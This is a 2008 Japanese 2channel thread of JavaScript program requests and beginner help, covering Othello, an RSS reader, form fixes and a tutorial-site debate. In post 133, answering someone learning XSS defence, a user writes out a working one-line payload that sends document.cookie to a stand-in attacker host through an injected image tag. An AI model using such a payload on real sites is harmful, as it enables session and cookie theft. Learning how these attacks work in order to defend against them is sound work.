もう20時か、
2ちゃんねる ■掲示板に戻る■ 全部 1- 最新50 [PR]女性必見!ネットで高収入バイト[PR]  

[JavaScript]プログラム作成します

1 : ◆/Eu2.xvuyU :2008/06/04(水) 21:26:05 ID:???
簡易的なプログラムを中心に要望にお応えしてプログラム作ります。
使うものはJavaScript、HTML、CSS、XMLのみです。

2 :Name_Not_Found:2008/06/04(水) 21:54:58 ID:???
んじゃコラムス頼む

3 : ◆/Eu2.xvuyU :2008/06/04(水) 22:19:30 ID:???
>>2
テトリスみたいな落ちゲーなのかな?
コラムス知らないからkwskおねがい

4 :help:2008/06/04(水) 22:40:10 ID:GSbMkkT5
2進数 1111111111111111111111111111111 (31桁の2進数)
を10進数に変換するプログラムを書き、桁とその桁の値に該当
する10進数(例えば、4桁目は2の3乗で8である)および変換された
10進数を表にして出力せよ。


javascriptで教えてください;;

5 : ◆/Eu2.xvuyU :2008/06/04(水) 22:54:18 ID:???
>>4
自分の理解力不足か問題の意味がわかりません。
>>2進数[1111111111111111111111111111111]を10進数に変換
parseInt("1111111111111111111111111111111",2);でしょうか?
>>桁とその桁に該当する10進数
よくわかりません
>>及び変換された10進数を「表」にして出力
ここもよくわかりません

多分自分の理解力不足なのでしょうね

6 : ◆/Eu2.xvuyU :2008/06/04(水) 23:23:50 ID:???
あーコラムス疲れる;
今日中の完成は無理そうです;

7 :Name_Not_Found:2008/06/05(木) 14:42:46 ID:???
画像を2進数に変換するプログラム

8 :Name_Not_Found:2008/06/05(木) 15:48:09 ID:???
OH!Myベイビーみたいなの

9 :Name_Not_Found:2008/06/06(金) 05:47:53 ID:???
コラムスにいくら時間かかってんだよ

10 :Name_Not_Found:2008/06/09(月) 06:18:14 ID:vGF9cdNm
RSSを用いて↓のサイトの用に表示できるよう
[JavaScript]プログラムの作成をお願いします。
http://www.webmemo.jp/star/update.php

11 :405(元fonojyakku) InternetServerError:2008/06/09(月) 06:46:49 ID:???
テーブルの内容を「 」「○」「●」にして、オセロ。
tableにonClickつけて挑戦してみたのですが・・・・・・(汗でした
すみません、お願いします。
2,1,0の値を「○」「●」「 」に変換するようなプログラムにしていました。
ですが、駒が返る方向などの判定プログラムが私の技量不足により(汗でした。
あと、コンピューターと人で、先手後手を自動的に切り替えるようとしたのですが、それも(汗でした
どうも、うまくいきません。
ソースを消してしまったのが失敗でした(泣
無理なら、遠慮します。
こんなのです。

12 :Name_Not_Found:2008/06/09(月) 20:08:46 ID:???
このコラムスの時間のかかり用から見ると、
>>1はJavaScript始めたばっかか、逃げたな

13 :Name_Not_Found:2008/06/10(火) 00:38:29 ID:???
>>10
ドメイン越えなきゃならんのでjsだけじゃ無理だしょ
phpなどでhttpclient動作する何か挟めばいけるけど、そゆのでいい?

14 :10:2008/06/10(火) 11:53:52 ID:8dBXpNkL
>>13
お願いします。

15 :Name_Not_Found:2008/06/10(火) 23:03:31 ID:???
ん、週末でよければ試してみるよ

16 :13,15:2008/06/11(水) 16:06:10 ID:???
>>10,14
ほい。こんなんでいいのかな。
データ取得はphp、パースと表示はJSでやってますよ。

・動作例
http://non-chang.heteml.jp/labo/applications/rssreader/test_composite.php

・概要
http://non-chang.heteml.jp/labo/applications/rssreader/

・アーカイブ
http://non-chang.heteml.jp/labo/applications/rssreader/_archives/20080611rssreader.zip

>>10
>RSSを用いて↓のサイトの用に
とあるけど、そのサイトがどういうロジックでリスト取得してるのか判らないのでそこは保留してます。
まあURLリストを複数設定できるようにしてるんで、あとは工夫してやってください。

17 :10:2008/06/13(金) 14:43:42 ID:BobHDg1p
ありがとうございます。
使いかってもよく非常に助かりました!!

18 :Name_Not_Found:2008/06/13(金) 15:55:01 ID:KbrcT9Fa
あるHP内の<div>~</div>でかこってつくられたテキスト表示用の窓に
別の環境から書いたテキストを即時反映する仕組みのようなものはつくれますか?

19 :Name_Not_Found:2008/06/13(金) 16:46:06 ID:???
>>18
>別の環境から書いたテキストを即時反映
JavaScriptだけだと難しいかな。ポーリングすりゃweb間の同期は取れるんだけど妙に大掛かりになりそ
入力したものが即時反映ってのでなければiframeとかで十分だと思う

リアルタイムチャット状態を意図してるのなら、
FlashのローカルShared Objectなんかを使った方が便利かも。

20 :Name_Not_Found:2008/06/13(金) 17:28:06 ID:KbrcT9Fa
なるほどありがとうです。
会社の商用サイトなどでの緊急お知らせティッカーみたいなものです
サイト管理者不在の場合に、管理者以外の人が本来のサイト管理用の
パスワード・IDとは別に、その窓用に用意した社内の汎用パスワード・IDを
使って書き込みし、テキストをポストするといったような使い方を考えていました


21 :Name_Not_Found:2008/06/13(金) 17:50:33 ID:???
それって機能自体は、掲示板系の構成変えただけですな。
むしろjavascript不要かと
phpやcgiの制作依頼スレ/CGI探しスレの方が適切かもですよ

↓こことか
【CGI】こんなCGI探してます
http://pc11.2ch.net/test/read.cgi/hp/1212904818/


22 :Name_Not_Found:2008/06/14(土) 16:41:15 ID:???
コラムス待ち10日目

23 :Name_Not_Found:2008/06/14(土) 21:28:17 ID:XJxLL29o
よこれす。
>>11
サンプル(突発で作ったからいろいろ未完成でごめん。。)
http://hpseisaku.konjiki.jp/
・基本プログラムは〜osero.jsにあり。
・コンピュータとの対戦は諦め。(時間があったらやろうかな)
・無駄なJSファイルの読み込み多い & 無駄に効率が悪い。。
・オセロの公式ルールとかよくわかんないからテキトー
 ⇒普通にスルーで、、

24 :Name_Not_Found:2008/06/14(土) 21:58:41 ID:???
コラムス遅えなw

25 :Name_Not_Found:2008/07/05(土) 20:57:16 ID:gSMm4VqU
クリックで背景画像を変更するプログラムをお願いします。

26 :Name_Not_Found:2008/07/05(土) 22:15:44 ID:???
<html><head>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>test</title>
<script type="text/javascript">
function test(num){
var imageList=[
"1.jpg",
"2.jpg"
] ;
document.getElementById("bW").style.background="url("+imageList[num]+")" ;
}
</script>
<style type="text/css">
#bW{height : 100% ; width : 100% ;}
</style>
</head>
<body>
<div id="bW">
<textarea id="t"></textarea>
<input type="button" onclick="test(0)" value="一枚目"></body>
<input type="button" onclick="test(1)" value="二枚目"></body>
</div>
</html>

こんなんでどう

27 :Name_Not_Found:2008/07/05(土) 23:11:26 ID:???
別のスレで蹴られちゃったので・・・
ttp://www.hotajax.org/content/view/515/248/
この「ShowCase menu」というスクリプトを応用した、画像のギャラリーページ用スクリプトを作ってください。
1ページ内に数段、設置したいのですが上手く行きません。

[機能]
1.画像をクリックするとアコーディオンのように画像の全体が表示される
2.画像右下のボタンをクリックするとリンク先のオリジナルサイズの画像が開く

2はLightbox系スクリプトを使うつもりです。
ヨロシクお願いしますm(_ _)m

28 :Name_Not_Found:2008/07/06(日) 01:23:00 ID:???
mootoolsは苦手

29 :Name_Not_Found:2008/07/06(日) 13:32:47 ID:???
2000円で!

30 :Name_Not_Found:2008/07/07(月) 13:48:08 ID:mvScWrNY
>>29>>27?職人?

31 :おでん:2008/07/07(月) 21:51:09 ID:wrYSbZO3
data.cgi形式で、
ファイルを読み込むことが可能なJAVASCRIPTの作り方教えてください。

32 :Name_Not_Found:2008/07/07(月) 23:15:59 ID:???
>>30
27です。

33 :Name_Not_Found:2008/07/07(月) 23:57:01 ID:???
>>31
data.cgiってファイルフォーマットじゃなくデータ読ませないための慣用でそ
具体的にどんなファイルなのか判らないと解答不能だよ
多分XHRになるんだろうけどバイナリだと扱えないし

34 :Name_Not_Found:2008/07/09(水) 03:45:33 ID:???
>>27
ソース見たけどこれ初心者が適当に書いた物だ。
グローバルスコープ多用してるから望み通りに動かすには全体に修正を加える必要がある。
他のまともなのを探すが吉。

35 :27:2008/07/09(水) 23:22:04 ID:???
>>34
既に、アコーディオン系スクリプトやImage menuというスクリプトを試してみたのですが、
これ以上に目的に近いものを見つけられていない状態です。
新しいタイプのギャラリー系スクリプトになると思うのですが・・・ なんとかなりませんか?

36 :Name_Not_Found:2008/07/10(木) 06:47:26 ID:???
>>27
多段にしてソースと動作をしばらく見比べてみたら部分的な修正で動きそうだったんで書いてみたよ。
飽くまで即席であって、ちゃんとしたものにするには一から書いた方が早そう。

[htmlのみ] http://www-2ch.net:8080/up/download/1215639295836308.uAA1Ve?dl
注意
 id=showCaseContainerの部分 は class="showCaseContainer"に変更
 var cols = 5; には横一列に置く画像の数を正しく指定

37 :27:2008/07/10(木) 17:31:03 ID:???
>>36
ありがとうございます!
動作テストをしてみたところ、IE7とFirefox3上で想像通りの動作をしています。

相談なのですが、もし、“ちゃんとしたもの(詳しくは分りませんが・・)”にしていただけたら
少ないですが、前に提示したもの+α程度の報酬をお支払いいたしますが、いかがでしょうか?
よかったら考えてみてください。

38 :Name_Not_Found:2008/07/10(木) 22:31:30 ID:???
いや、ちゃんとしたものっつっても内部的な話で見た目は変わらんから
期待通り動いてるんならいいんじゃない。

39 :27:2008/07/10(木) 23:26:27 ID:???
>>38
そうですか? なんだか申し訳ないですが、、、
今回は本当に有難うございました m(u_u)m

40 :Name_Not_Found:2008/07/15(火) 06:56:23 ID:???
ところで、JavaScriptはプログラムといっていいものなの?

41 :Name_Not_Found:2008/07/15(火) 14:56:58 ID:???
そら勿論だ
違和感あるなら名前通りスクリプトって言ってやればいいよ

42 :Name_Not_Found:2008/07/24(木) 04:13:06 ID:???
ホームページ制作王を使えば、どんなホームページでも、
感覚的に、かつワンタッチにて制作・管理することができる。

ホームページ制作王は、世界標準であるから、
初心者でもプロでも、ユーザーの属性に応じて、常に最高品質のWebをクリエイトする。

動画、フラッシュ、java、perl、php、aspなど、ホームページ制作王なら、
全てに対応する。

ホームページ制作王に不可能はない!

ホームページ制作王は、世界の権威COMDEXが認めた唯一の世界標準。
ホームページ制作王は、人類の叡智そのものである。

繰り返す。ホームページ制作王に不可能はない!

43 :Name_Not_Found:2008/07/24(木) 06:54:07 ID:???
Macで使えねぇじゃん

44 :Name_Not_Found:2008/07/24(木) 13:16:30 ID:???
「動画」が作れるのか、そりゃすごい

45 :Name_Not_Found:2008/07/24(木) 13:56:18 ID:18PwLf6i
じゃあ、最強のLightbox系スクリプトを作っておくれ。
[色んなLightbox系に搭載されてる機能一覧]
・画像以外のファイル表示に対応(動画、文書、HTML、Flash、PDF等)
・スライドショー機能
・画像の拡大表示機能
・オリジナルファイルを同一画面/新しい画面で開く
・表示中のファイルをダウンロード
・画像をウィンドウサイズに合わせてリサイズして表示
・ブラウザのスクロール、サイズ変更などがあっても、常にブラウザの中央に表示される
・表示するファイルに透かしを挿入(ロゴとか)
・表示枠のカスタマイズ(色、角丸)
・グループ機能
・軽い
・灰色背景の描画ON/OFF
・表示エフェクト

・これらの機能を設定でON/OFF可能

46 :Name_Not_Found:2008/07/24(木) 18:40:14 ID:???
おい、割り込むよ。コラムスが先だ。

47 :Name_Not_Found:2008/07/24(木) 21:28:49 ID:???
ホームページ制作王でササッとコラムス作ってあげなよ。

48 :Name_Not_Found:2008/07/24(木) 23:45:22 ID:???
ホームページ制作王でサクっとAirアプリ作ってください
ドラッグ&ドロップでOffice系ドキュメントをPDFにして、
セキュリティ認証つけてくれればいいよ。
できれば、管理画面からPDFにした後でも認証設定を変更できるようにしてくれ。

49 :Name_Not_Found:2008/07/25(金) 13:50:13 ID:???
ホ ー ム ペ ー ジ 制 作 王 が J a v a S c r i p t に 対 応 し て な い 件

50 :Name_Not_Found:2008/07/25(金) 22:29:56 ID:???
>>42
おいwww

51 :Name_Not_Found:2008/07/26(土) 03:24:11 ID:???
>>動画、フラッシュ、java、perl、php、aspなど、ホームページ制作王なら、
>>全てに対応する。
これは・・・すべてに対応するって書いてあるからjavascriptおkなのかな?
でもaspまで上げといてjavascript書かないってのも引っかかるなあ

52 :Name_Not_Found:2008/07/26(土) 16:37:22 ID:???
製作王マニアはなんでもできるって言ってるだけのネタ野郎だからw

53 :Name_Not_Found:2008/07/28(月) 23:03:49 ID:???
Javascriptでこんなフォーム作れますか?

入力項目
mail homepageURL HN userID

出力(表示)
1入力エラー表示:
homepageURLが入力されていません。

2入力処理表示:
HNさん専用のURLです。
http://www.***.com/userID/1.html
http:/www.***.com/userID/2.html

54 :Name_Not_Found:2008/07/28(月) 23:45:12 ID:???
コラムスなんてとっくに誰かが作ってるだろと検索したらやっぱりあった。

Javascript Columns
http://www.drque.net/Projects/Columns/


55 :Name_Not_Found:2008/07/28(月) 23:55:30 ID:???
じゃあ次は>>45の最強のLightboxってことで。

56 :Name_Not_Found:2008/07/29(火) 23:00:35 ID:???
>>・軽い
>>・これらの機能を設定でON/OFF可能

var light = true;  // 軽くするならtrue

こんな感じになるのかな

57 :Name_Not_Found:2008/07/30(水) 13:47:11 ID:???
吹いたwww

58 :Name_Not_Found:2008/07/30(水) 23:02:06 ID:???
falseにすると何が起こるんだ

むしろそれ重くする機能じゃねえのかw

59 :Name_Not_Found:2008/08/02(土) 08:04:29 ID:???
if(light){
  a = 10;
}
else{
  for(i=0;i!=10;i++){
    a = i;
  }
}

60 :fonojyakku:2008/08/03(日) 00:01:31 ID:hIRIn32g
>>23
ほんとに遅くなってすみません。
暇がなくて。・・・・
本当に遅くなって・・・・・

取れる数を出すセクション(部分)があるので、
これをベースに、自動思考やってみたいと思います。
(激しく重いかもしれませんが。)
できたら、結果報告、できるかな。
それとも、がんばっているうちに、このスレのことを忘れてしまうのかな。
がんばってみます。
ポインタの位置で出している場合でも、がんばってみます。

あと、本当にありがとうございます。
いや、もしかしたら、ここにくるのも最後かもしれませんので、
ありがとうございました。

61 :fonojyakku:2008/08/03(日) 00:16:29 ID:hIRIn32g
マッタリ読んでたらまたくる気になれました

62 :Name_Not_Found:2008/08/03(日) 00:23:22 ID:???
>>60
頑張って! 応援してるよ!!

63 :Name_Not_Found:2008/08/04(月) 13:36:21 ID:wteL7dOv
夏だし、ここももっと活発になるかな?
>>60が良い空気を作ってくれるのに期待。

64 :405(元fonojyakku) InternetServerError:2008/08/05(火) 15:41:44 ID:???
>>60
孤軍奮闘してます。
すみません、ソースが複雑な構成なっていて、大変なんで
//コメント
を入れてがんばってます。
コマの場所を入れて、取れる数を返す関数ってどこですか?
また、その関数の返却値はどこの変数に返されますか?


65 :Name_Not_Found:2008/08/05(火) 20:44:31 ID:???
良スレの予感

66 :Name_Not_Found:2008/08/09(土) 04:53:01 ID:???
任意のhtmlファイルを渡すと
そのhtmlの中からh2要素を抜き出して
h2要素の持つテキストを一覧にして表示してくれるようなjavascriptをお願いします。

67 :Name_Not_Found:2008/08/09(土) 04:55:40 ID:???
すいません。
ユーザースクリプトみたいな感じで使えるとありがたいです
お願いします

68 :Name_Not_Found:2008/08/09(土) 13:54:21 ID:???
firefoxのアドオンやグリモンのスクリプトなんかの作成をお願いできないでしょうか?

69 :Name_Not_Found:2008/08/09(土) 15:49:29 ID:???
>>68
気が向けば作るけど、どんなの?

70 :68:2008/08/09(土) 18:08:17 ID:???
Firefoxで表示したページのタイトルとアドレス(表示履歴)をgmailかgooglenoteなどのオンラインストレージに転送するアドオンです。
何年分もためれるようにしたいです。さすがに全文残すだと重くなるでしょうから。
昔、gbrain(http://huwy.seesaa.net/article/84575496.html)というアドオンがあったようなのですが
googleに負荷がかかりすぎるといわれ現在公開中止中です。

このようなアドオンをお願いします。


71 :Name_Not_Found:2008/08/11(月) 03:50:00 ID:TWesbUfn
CSSのtext-autospaceのような機能のjavascriptをお願いします。


72 :Name_Not_Found:2008/08/24(日) 03:10:47 ID:k23O8fvn
保守

73 :Name_Not_Found:2008/09/02(火) 12:17:48 ID:pNrmnAK8
夏の成果をみせて

74 :Name_Not_Found:2008/09/02(火) 13:01:48 ID:???
>>1はどこいった

75 :Name_Not_Found:2008/09/09(火) 22:39:55 ID:2ErVuYAk
懸賞金とかかけたら活発になる?(安いけど)

76 :Name_Not_Found:2008/09/17(水) 00:58:07 ID:???
mixi videoのflvを落とすためのリンクを出すグリモン
お願いします!

77 :Name_Not_Found:2008/09/17(水) 02:57:32 ID:???
flvだったらキャッシュに落ちるから
IE使えば手作業でも抜けそうだが。

78 :405 元fonojyakku:2008/09/19(金) 17:57:00 ID:???
>>1
さん、どこですか?
返却値はどこですか?

79 :Name_Not_Found:2008/09/20(土) 15:17:45 ID:xcTVir67
3次の彼女が出来るスクリプトお願いします><

80 :Name_Not_Found:2008/10/02(木) 15:49:37 ID:???
ム板単発質問の誘導用に失礼します
http://non-chang.heteml.jp/release/2ch/_temp/rnd.html

81 :Name_Not_Found:2008/10/07(火) 16:43:20 ID:IxVUV7Or
http://mamono.2ch.net/test/read.cgi/hikky/1222752137/152-156
これの評価お願いします

82 :Name_Not_Found:2008/10/07(火) 17:31:10 ID:???
ふむむ

83 :Name_Not_Found:2008/10/07(火) 19:43:58 ID:???
元スレで拾い物だとか言われてるようだけど

84 :Name_Not_Found:2008/10/14(火) 02:58:15 ID:2/3QIMpn
それは気のせい

85 :Name_Not_Found:2008/10/23(木) 17:35:23 ID:???
ボタンを押すと、普通にホームページに書いてある文字が変わるように出来ませんか?

86 :Name_Not_Found:2008/10/23(木) 17:41:32 ID:???
<script type="text/javascript">
<!--
function func() {
document.all.ABC.innerHTML = "<b>おやすみ</b>";
}
// -->
</script>
<div id="ABC">おはよう</div>
<button onclick="func()">OK</button>

87 :Name_Not_Found:2008/10/23(木) 19:50:17 ID:???
ありがとうございます。
まさに思っていた通りのものでした。
参考に遣わさせていただきます。

88 :Name_Not_Found:2008/10/23(木) 20:53:55 ID:???
4つあるチェックボックスのいずれかをチェックしたら、
ラジオボタンが2つ活性します。
チェックがボックスのチェックが外れたら非活性となります。
関数が作れず困っております。
何方かサンプルソースを作成していただけないでしょうか?


89 :Name_Not_Found:2008/10/23(木) 22:31:08 ID:???
ttp://homepage.mac.com/catincat/javascript/misprint.html

これみたいな入力した文字を変換するやつって作れませんか?
あ→ア みたいに

90 :Name_Not_Found:2008/10/24(金) 10:54:45 ID:???
>>88
活性て何よ。灰色だったのがふつうになるやつ?

91 :Name_Not_Found:2008/10/24(金) 11:38:56 ID:???
>>89
サンプルとしてあげてくれたページのソースを書き換えればいいんじゃない?

キャラクターコードから変換するものだとコード体系に依存するので
2chのログでは例を出し辛いと思う。

92 :Name_Not_Found:2008/10/24(金) 23:02:59 ID:???
今のメジャーなブラウザの多くは、
文字列を内部ではUnicodeで管理しているのだから、その点は特に問題にはならないのでは。

>>89のように列挙しても出来るけど、
window.escapeしてから、RegExpのreplaceで変換する方が良さげだね。

93 :Name_Not_Found:2008/10/31(金) 13:42:56 ID:eGX6UBNd
>>86の”おはよう”の文字のところに、変数を用意して、その数字を
表示するようにしたいのですが、どうしたらできますか?
それと86は小文字のjavascriptみたいなので大文字のやつを出来たら教えてください。
ボタンとかの書き方も、なんか普通と違っているんですけど、これは省略形みたいなやつですか?
詳しくお願いします。本当に困ってます。

94 :Name_Not_Found:2008/10/31(金) 13:46:29 ID:KXQwZiww
小文字って何だ?

95 :Name_Not_Found:2008/10/31(金) 13:49:48 ID:???
わたしのしっているのでは<>の内部は大文字なので。

96 :Name_Not_Found:2008/10/31(金) 13:52:35 ID:???
ボタンの書き方って、普通ってどうやるの?

97 :Name_Not_Found:2008/10/31(金) 13:53:33 ID:???
>>86は↓の無断コピペだから
http://www.tohoho-web.com/js/element.htm#innerHTML

98 :Name_Not_Found:2008/10/31(金) 13:59:10 ID:???
文字列を書くとき、ふつうは
""の中に書いて、変数の場合は""の外に書くのに
そのかきかただと""が無いのに文字列になってます。

99 :Name_Not_Found:2008/10/31(金) 14:01:35 ID:???
>>98
どこの文字列?

100 :Name_Not_Found:2008/10/31(金) 14:02:32 ID:???
<button onclick="func()">OK</button>
↑の書き方自体が大文字の書き方と違うので分かりません

101 :Name_Not_Found:2008/10/31(金) 14:05:21 ID:???
>>100
大文字の書き方だとどう書くの?

102 :Name_Not_Found:2008/10/31(金) 14:06:50 ID:???
<BUTTON ONCLICK="func()">OK</BUTTON>ってことじゃね?

103 :Name_Not_Found:2008/10/31(金) 14:11:18 ID:???
>>102
それって何が違うんだ?

104 :Name_Not_Found:2008/10/31(金) 14:11:49 ID:eGX6UBNd
<INPUT TYPE="button" VALUE="おはよう" onclick="func()">
なんです。
このばあいおはようは""の中にあるのでその外で変数を書けば変数が文字になるけど、
もう一つの場合はそれができませんということです。

105 :Name_Not_Found:2008/10/31(金) 14:13:23 ID:???
タグの中って別に大文字小文字関係ないと思うけど

106 :Name_Not_Found:2008/10/31(金) 14:27:07 ID:KXQwZiww
test

107 :Name_Not_Found:2008/10/31(金) 14:28:13 ID:???
>>86の書き方は、すなわち省略形ですか?
その点を伺いたいです。

108 :Name_Not_Found:2008/10/31(金) 14:29:06 ID:KXQwZiww
<INPUT TYPE="button" VALUE="おはよう" onclick="func()">
<input type="button" value="おはよう" onclick="func()">
どっちでも動くと思うが
まぁ質問はそこじゃないよね
>>86の「おはよう」の部分は<BUTTON>タグじゃなくて<DIV>タグだと思うんだが

109 :Name_Not_Found:2008/10/31(金) 14:30:18 ID:KXQwZiww
省略じゃないよ
<BUTTON>タグってのがあるんだよ<INPUT>タグとは別ものだよ

110 :Name_Not_Found:2008/10/31(金) 14:46:59 ID:???
>>105
HTMLならどちらでもok、XHTMLでは小文字のみ。

111 :Name_Not_Found:2008/10/31(金) 14:48:32 ID:???
          _________
      ,.r‐''''...................-、
    /:::::::::::::::::::_ ::::::::ヽ
    !::::::::::::::::::::::}十{::::::::::::::i
    !::::::::::::::::::_,,、-'''''' ̄ ̄`'ヽ
    |ミシ ̄ ̄__,,,〜,__ !'''"  マターリよ♪♪♪
    /  ==⊂⊃=⊂⊃=\      
     |     \  ・・ / |  
      \     |  ◎ | ,/  

   .(6ミシ  ,,( ノ)、 /(ヽゝ |    
     し.    "~~´i |`~~゛ .i    
      ミ:::|:::::........ f ・ ・)、 ...:::i
       ヽ::::::::::::-=三=-:::/
      \ヽ:::::::::::゛::::ノ/ 
      /   \ , , /\
    /    (●)  (●) \
      /   \ , , /\       
     |     ⌒(__人__)⌒ |    死ねはいかんお!
      \      ` ⌒´  ,/  

112 :Name_Not_Found:2008/10/31(金) 15:05:36 ID:???
>>93は質問をもっとわかりやすく書いてほしい

113 :Name_Not_Found:2008/10/31(金) 15:42:12 ID:???
<INPUT ID="btn" TYPE="button" VALUE="おはよう" onclick="func()">

で、
変えたいときに document.getElementById("btn").value = "おやすみ";

とか?

114 :Name_Not_Found:2008/10/31(金) 18:30:57 ID:???
cgiが吐き出す外部スクリプトの処理が遅くてページの読み込みが滞ってしまうので、
window.onloadで最後にやらせたいんですが、
window.onloadで、
<script type="text/javascript" src="http://example.com/hoge.cgi" charset="UTF-8"></script>
<script type="text/javascript" src="http://example.com/hage.cgi" charset="UTF-8"></script>
の二つを実行させるにはどのように指定すればいいのでしょうか?

関係あるかわかんないんですが、
hoge.cgi、hage.cgiの中身はいずれも最終的には
abc.innerHTML=are、xyz.innerHTML=soreという感じで、
document.writeは使われていません。

115 :Name_Not_Found:2008/10/31(金) 21:22:02 ID:???
ひとまず、おまえらさぁ

とほほのWWW入門
http://www.tohoho-web.com/www.htm


こことか見てさ、調べてから来いよ
たまに調べればすぐ分かるような質問みかけるけどさ
調べてもわからないなら、もっと詳細を書くべきだよ?
何を質問してるかわからんわい

116 :Name_Not_Found:2008/11/01(土) 16:17:11 ID:???
>>114
HTMLの一番最後に配置するだけでいいんじゃない?

117 :Name_Not_Found:2008/11/02(日) 18:16:30 ID:???
今とほほ薦めちゃまずいような

とっかかり用途だと判りやすいのかな?

118 :Name_Not_Found:2008/11/03(月) 00:08:34 ID:???
>>115のサイトとopenspc2.orgは反面教師としての存在価値はあるのでは。
素人でも簡単にここまでは出来るが、
それで満足してしまうと実務レベルからは程遠い残念な事になるという良い実例。

119 :Name_Not_Found:2008/11/03(月) 01:00:36 ID:???
↑成立背景を無視した近視眼的な物言いの凡例

とほほの成立時期を全く知らない自称実務レベル?笑わせる。
あれは HTML の仕様なんてほとんど後付けだった時代に作られたもの。
今の JavaScript の状況よりもっとひどかった。
“情報が古い”程度で止めときゃいいものを、
知ったかしようとするからこんなアホなこと書くんだ。

120 :Name_Not_Found:2008/11/03(月) 01:46:27 ID:???
インターネットで無料で情報を入手しようとするのが甘い。
金だしてしかるべきところから情報を得るべき

121 :Name_Not_Found:2008/11/03(月) 12:14:13 ID:???
>>119
既に更新が停止しているサイトならともかく、
現在も更新されているらしいサイトで設立背景が云々なんて弁明にもならない。
糞は糞というだけ。

122 :Name_Not_Found:2008/11/03(月) 12:37:37 ID:???
内容に問題がある点については共通した認識を持っていて
それを言葉でどう表現するか「どこまで悪く言うか」
の違いだけなんじゃね。
そんなことで言い争いしても問題の解決にはならないから
代わりになるものを挙げたらどう?

123 :Name_Not_Found:2008/11/03(月) 13:18:03 ID:DhiNtINQ
javascript初心者です。
二つのテキストフィールドに入力した数値を足して別のテキストフィールドに
結果を出力するというのを作っているのですが、うまく動きません。
ここでソースを載せたら見てもらえますかね。。?

124 :Name_Not_Found:2008/11/03(月) 13:22:54 ID:DhiNtINQ
function valueFigure() {
int value1Int,value2Int;
value1Int = eval(document.value1);
value2Int = eval(document.value2);
document.form.ansInt.value = value1Int + value2Int;
}
//-->
<body>
<form name="form">
二つの数字を入力して下さいね〜。<br>
<!-- 入力テキストフィールド:左 -->
<input type="text" name="value1" style="width=30">+
<!-- 入力テキストフィールド:右 -->
<input type="text" name="value2" style="width=30">=
<!-- 結果出力テキストフィールド -->
<input type="text" name="ansInt" style="width=30">
<!-- アクションボタン:足算 -->
<input type="button" value="足算" style="width=50" onMouseClick="valueFigure()">
<!-- テキストフィールドリセット -->
<input type=reset value="reset">
以下略...

結果を出力するとこの値渡しがうまくいってないのかなと思ってるのですが・・
どこが悪いんでしょう?IEで動作確認してますぅ。

125 :Name_Not_Found:2008/11/03(月) 15:28:40 ID:???
喋り方も何もかもが悪い

変数に型宣言はいらないint外してvarつけろ
document.value1はObjectなのにそれをevalしてどうする
formのnameに"form"を使うな
onMouseClickはonClickにしろ
て言うかDOM指定ならidつけろ



int value1Int,value2Int; → var value1Int, value2Int;
eval(document.value1); → document.form1.value1.value;
eval(document.value2); → document.form1.value2.value;
document.form.ansInt.value = value1Int + value2Int; → document.form1.ansInt.value = value1Int*1 + value2Int*1;
<form name="form"> → <form name="form1">
onMouseClick → onClick

126 :Name_Not_Found:2008/11/04(火) 01:47:17 ID:???
>>125
優しいなお前。

127 :Name_Not_Found:2008/11/04(火) 23:36:08 ID:???
これこそ2chの優しさだな

杜甫々氏の当時の功績は判るんだが、
直すべき古情報をいつまで放置するつもりなのか素で疑問。
初心者に抵抗の少ないサイトなのも、対抗馬たるサイトがないのも判るんだけどね
あのサイトの記述全部直すだけでも相当な労力あるしな。

あそこでサワリ覚えて
このスレで>>125みたいなツンデレにつつかれた方が
伸びるの早いかもしらんな。
二度手間だけど。

128 :Name_Not_Found:2008/11/05(水) 19:01:04 ID:???
>>127
基礎はオライリーのJavaScript本、
リファレンスはmozillaのサイトで問題無いのでは。
ttps://developer.mozilla.org/en/Core_JavaScript_1.5_Reference
あとはネットには参考になる大量のソースコードがあるのだから、
それらからノウハウを吸収しない手は無いね。

そういやちょっと前に埋まった手取り足取りスレのコテも、
とほほが参考になるなどと書いていたが、
功績というよりもあんな中途半端な知ったかを量産しただけのような気も。
未だにECMA以前のJavaScriptネタを特に注釈無く放置しているサイトは問題有るよ。

129 :Name_Not_Found:2008/11/23(日) 12:57:59 ID:???
ttp://h.ula.cc/ の、各ニュースの携帯向けURLリンクを、パソコン用URLの形式で開くことは可能ですか?

具体的に書くとすれば、
ttp://same.ula.cc/test/r.so/○○.2ch.net/△△△△/×××××/?guid=ON へのURLリンクを開くときに、

ttp://○○.2ch.net/test/read.cgi/△△△△/×××××/ として開いて欲しいのです。

130 :Name_Not_Found:2008/11/23(日) 16:16:15 ID:???
開いて欲しいってのがよく分からんが

var oriurl = "http://same.ula.cc/test/r.so/○○.2ch.net/△△△△/×××××/?guid=ON";
oriurl = oriurl.split("/");
var resurl = "http://"+oriurl[5]+"/test/read.cgi/"+oriurl[6]+"/"+oriurl[7]+"/";
alert(resurl);

131 :Name_Not_Found:2008/11/23(日) 17:12:32 ID:???
>>130
迅速な回答ありがとうございます。
こちらの知識不足&説明不足のためわかりづらかったと思います、すみません。
次回からはもう少し勉強してから書き込むようにします。

132 :Name_Not_Found:2008/11/25(火) 15:45:51 ID:???
ちょっと・・あまりこういうの書かない方がいいのかもしれないのですが・・
現在、xss対策について学んでいます。PHPがある程度書けまして、投稿されたalert('xss'); みたいのが実行されないようにPHPのエスケープ用関数を使って対策しているぐらいのレベルなんですが、
クッキーを盗むJavaScriptが具体的にどういったコードで書かれているのか知らずに対策しているため、あまり本質的な理解がないままXSS対策しているような感じです。
JavaScriptは今のとこ書けないのですが、クッキーを盗むコードというのは具体的どんなものなのか知りたいのです。(決して悪用のためではありません!)
攻撃スクリプトをそのまま載せて頂くのはちょっと問題があるかもしれないのでダメなら諦めますが、ヒントだけでも頂けたら幸いです。
alert('xss'); が埋め込まれて実行されてしまうような脆弱性のある動的ページだとしたら、JavaScriptによってクッキーを盗まれる可能性も同様にあるものと考えてよいのでしょうか??
ご教示頂けると助かります。

133 :Name_Not_Found:2008/11/25(火) 16:12:48 ID:???
document.body.innerHTML+='<img src="http://abunaisaito/nusumu?cookie='+document.cookie+'">';

134 :132:2008/11/25(火) 18:35:34 ID:???
ナルホド。。こういうことだったのですね。<a>でも代用できそうですね。。
ありがとうございますm(_ _)m

すいません若干スレ違いなのですがあと1つだけ質問させてください。
上に挙げて頂いた例ですと、XSSによってクッキー窃取するにはスクリプトを仕込まれたページからもう1アクション必要なようですが(上記だと画像のクリック)、
スクリプトを仕込まれたページにアクセスした瞬間にクッキーを窃取されるということはないと考えてよいのでしょうか??
ご教示頂けると幸いです。

